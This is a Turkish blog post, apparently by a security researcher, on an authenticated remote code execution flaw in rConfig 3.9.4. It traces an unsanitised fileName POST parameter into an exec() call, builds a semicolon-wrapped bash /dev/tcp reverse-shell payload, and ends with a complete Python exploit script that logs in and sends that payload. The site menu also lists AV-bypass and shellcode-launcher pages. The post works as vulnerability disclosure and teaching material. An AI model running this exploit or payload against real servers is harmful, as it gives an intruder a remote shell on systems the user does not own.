Engin Demirbilek
  • Intro
  • [Pinned] Community
  • OSWE Review
  • Code Pieces
    • C++: Shellcode Launcher
    • C++: Dynamic DLL Usage
    • C++: Sendin HTTP GET Request
    • C++: Sandbox Detection via Registry
    • C++: Enumerating Environment
    • C++: Dll Injection
    • VBA: HTTP File Dropper
    • Environment Enumeration via Pshell & Cmd
  • Projects
    • Reverse Shell Exploit chain With AV Bypass
    • Execute Shellcode Launcher with Dll Injection
    • Bypassing AVs with simple XOR
    • Bypassing Defender with Exclusion List
  • Vulnerability Research
    • [TR] Centreon 19.10.8 Remote Code Execution
    • [TR] rConfig 3.94 Remote Code Execution
    • [TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4
  • Pentest Notes
  • An Uncommon OSINT way to Juicy Files
  • GraphQL Testing Tips
  • Server Side Request Forgery (SSRF)
Powered by GitBook
On this page

Was this helpful?

  1. Vulnerability Research

[TR] rConfig 3.94 Remote Code Execution

Previous[TR] Centreon 19.10.8 Remote Code ExecutionNext[TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4

Last updated 3 years ago

Was this helpful?

Merhaba, adında açık kaynaklı bir ağ yönetim yazılımında bulduğum Authenticated RCE zafiyetinin detaylı bulumunu anlatıyor olacağım. Bir önceki yazıda olduğu gibi türkçeye kaynak kazandırmak adına makaleyi türkçe kaleme aldım.

AUTHENTICAD RCE

Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabilmemize olanak sağlayan zafiyet türüdür.

rConfig

  1. Uygulama indirme linki:

  2. Zafiyeti tespit ettiğim sürüm: 3.9.4

BÖLÜM 1: Uygulama Eldesi

Kaynak kod analizini keyfi istekler doğrultusunda yapmamdan ötürü bu uygulamanın adını üzerinde gezinirken gördüm. Benim tespit ettiğim zafiyet harici rce zafiyetleride bulunuyordu. Uygulamanın doğrudan bir OVA dosyası olmamasından ötürü el ile kurulum gerektiyor fakat kuruluma dair direktifler dağıtımcı tarafından resmi website üzerinde yayınlanmış. Bende bu takip ederek VMWARE Fusion üzerinde sanal bir Centos sunucuda uygulamayı kurdum.

Bölüm 2: Kaynak Kod Eldesi

Kurulum direktiflerini takip ettiğimde uygulamanın kaynak kodlarının /home/rConfig dizinine koyulduğunu tespit ettim.

tar -czvf rconfig.tar.gz /home/rConfig/
scp root@rConfigIP:/home/rConfig/rconfig.tar.gz /tmp/rconfig.tar.gz

Bölüm 3: Kaynak Kodun İncelenmesi

Statik kaynak kod analizlerinde komut çalıştırmaya dair bir zafiyet arıyorsak başlı başlı dikkat etmemiz gereken bazı fonksiyonlar var. Bunların bir kaçına örnek olarak; system, exec, shell_exec, popen, eval, passthru fonksiyonları verilebilir.

IDE üzerinde tüm projede bulunan php dosyalarında yukarıda belirttiğim fonksiyonları aramaya başladım ve boşa çıkan bir kaç saat ve tespit edilen RCE harici bir kaç zaafiyetin sonunda ajaxAddTemplate.php dosyasının 49. satırında zafiyetli olabileceğini ön gördüğüm bir noktaya rastladım.

Sistem fonksiyonu olarak exec() fonksiyonu kullanılıyor ve $fullpath isminde henüz nereden geldiği belli olmayan bir değişkeni parametre olarak alıyordu. Dosyayı biraz daha kurcaladığım vakit $fullPath değişkenine 23. satırda $fileName isimli başka bir değişkenin eklendiği tespit ettim.

Ve $fileName değişkeni yine aynı dosyanın 14-22. satırları arasında kullanıcıdan POST isteğiyle alınıyor ve eğer yoksa sonuna .yml uzantısı ekleniyordu.

.yml uzantısı hariç girdiye herhangi bir müdahale yok yani bu durumda bu girdiyi RCE zafiyetini tetiklemek için kullanabiliriz.

Bölüm 4: Payload Hazırlanması

exec() fonksiyonu içerisine $fullpath değişkeni gidiyor. Bu değişkenin ön tanımlı bir değeri örnek olarak "/home/rconfig" daha sonra dizin değerine bizden alınan $fileName değişkeni ekleniyor. Bu durumda ilk olarak değişkenimize ; karakteri verirsek $fullpath değişkeninden gelen değerden kurtulmuş oluyoruz. Ek olarak, $fileName değişkenine .yml uzantısı veren bir kontrolde bulunuyordu. Aynı şekilde payloadın sonunada ; karakteri koyarak bu uzantı ekleme işleminide atlatabiliriz. Oluşan payload taslağımız: ; REVERSESHELL CODE; Uygulama varsayılan olarak centOS üzerinde çalışıyor bu sebeple PANDORAFMS de olduğu gibi reverse shell için netcat kullanamayız fakat bash kullanabiliriz.

Bash reverse shell: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Bununla beraber sonuç payladımız: ;bash -i >& /dev/tcp/IP/8080 0>&1;

BÖLÜM 5: EXPLOIT


'''
rConfig 3.93 Authenticated remote code execution.
Author: Engin Demirbilek
Author Blog: engindemirbilek.github.io
'''

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])

login = {
	'user':user,
	'pass':password,
	'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)

payload = {
	'fileName':payload,
}



print "[+] Sendin exploit ..."

exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'},verify=False)

if exploit.status_code == 200:
	print "[+] Everything seems ok, check your listener."
else:
	print "[-] Exploit failed,  system is patched or credentials are wrong."

Go Top

Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini ile sıkıştırdım ve SCP kullanarak ana makineme aktardım.

Dosyaları kendi tercih ettiğim idesini kullanarak kurcalamaya başladım.

Exploit-DB:

TAR
ATOM
Exploit
rConfig
rConfig Downloads
Exploit-DB
kurulum kılavuzunu
rConfig installation
rConfig kaynak kodu
rConfig exec
rConfig exec function user-input
rConfig .yml extension